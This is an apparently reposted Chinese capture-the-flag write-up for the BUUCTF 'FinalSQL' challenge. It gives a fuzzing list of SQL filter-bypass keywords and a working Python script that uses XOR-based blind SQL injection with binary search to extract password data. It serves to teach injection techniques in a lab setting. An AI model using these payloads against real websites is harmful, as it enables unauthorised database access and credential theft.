zoukankan      html  css  js  c++  java
  • [极客大挑战 2019]FinalSQL

    0x00 前言

    考点:盲注,异或注入

    • 异或'^'是一种数学运算,1^1=0 0^0=0 1^0=0,可以用来进行sql注入,当两条件相同时(同真同假)结果为假,当两条件不同时(一真一假)结果为真。

    0x01 解题

    1. 进入题目页面,尝试在用户名密码处进行注入,做一下FUZZ测试:图2图3

    大多数关键字都被过滤,下面附上我的我的FUZZ测试字典:

    and
    aNd
    or
    oR
    oorr
    select
    sElect
    union
    unIon
    union select
    union/**/select
    /**/
     
     '
     "
     
     information_schema
     ^
     &&
     uniOn/**/select
    
    1. 点击上面的数字,发现URL发生变化:图4
      猜想id可能是注入点,接着做FUZZ测试,''没有被过滤,输入11回显'ERROR',1^0回显'NO! Not this! Click others~~~',判断出为数字型注入。
    2. 给出我的exp:
    import requests
    url = 'http://d63d924a-88e3-4036-b463-9fc6a00f4fef.node3.buuoj.cn/search.php'
    flag = ''
    for i in range(1,250):
       low = 32
       high = 128
       mid = (low+high)//2
       while(low<high):
           #payload = 'http://d63d924a-88e3-4036-b463-9fc6a00f4fef.node3.buuoj.cn/search.php?id=1^(ascii(substr(database(),%d,1))=%d)#' %(i,mid)
           payload = "http://33e8c85b-d0d4-4777-9143-702ddf10ee0e.node3.buuoj.cn/search.php?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" %(i,mid)
           res = requests.get(url=payload)
    
           if 'ERROR' in res.text:
               low = mid+1
           else:
               high = mid
           mid = (low+high)//2
       if(mid ==32 or mid ==127):
           break
       flag = flag+chr(mid)
       print(flag)
    

    由于空格被过滤,用()代替,我这里payload直接写到了最后一步,猜解表名,字段名的payload我这里就不写了,直接去嵌套常规的联合查询语句即可。

    用二分法速度还是很快的,效率上有很大提高。 图6
    拿到flag。

  • 相关阅读:
    88. 合并两个有序数组
    680. 验证回文字符串 Ⅱ
    345. 反转字符串中的元音字母
    633. 平方数之和
    分支程序设计
    scanf函数(初学者)
    输入与输出(初学者)
    C语句详细(初学者)
    算术运算符和算术表达式(初学者)
    变量赋值(初学者)
  • 原文地址:https://www.cnblogs.com/hello-there/p/13026698.html
Copyright © 2011-2022 走看看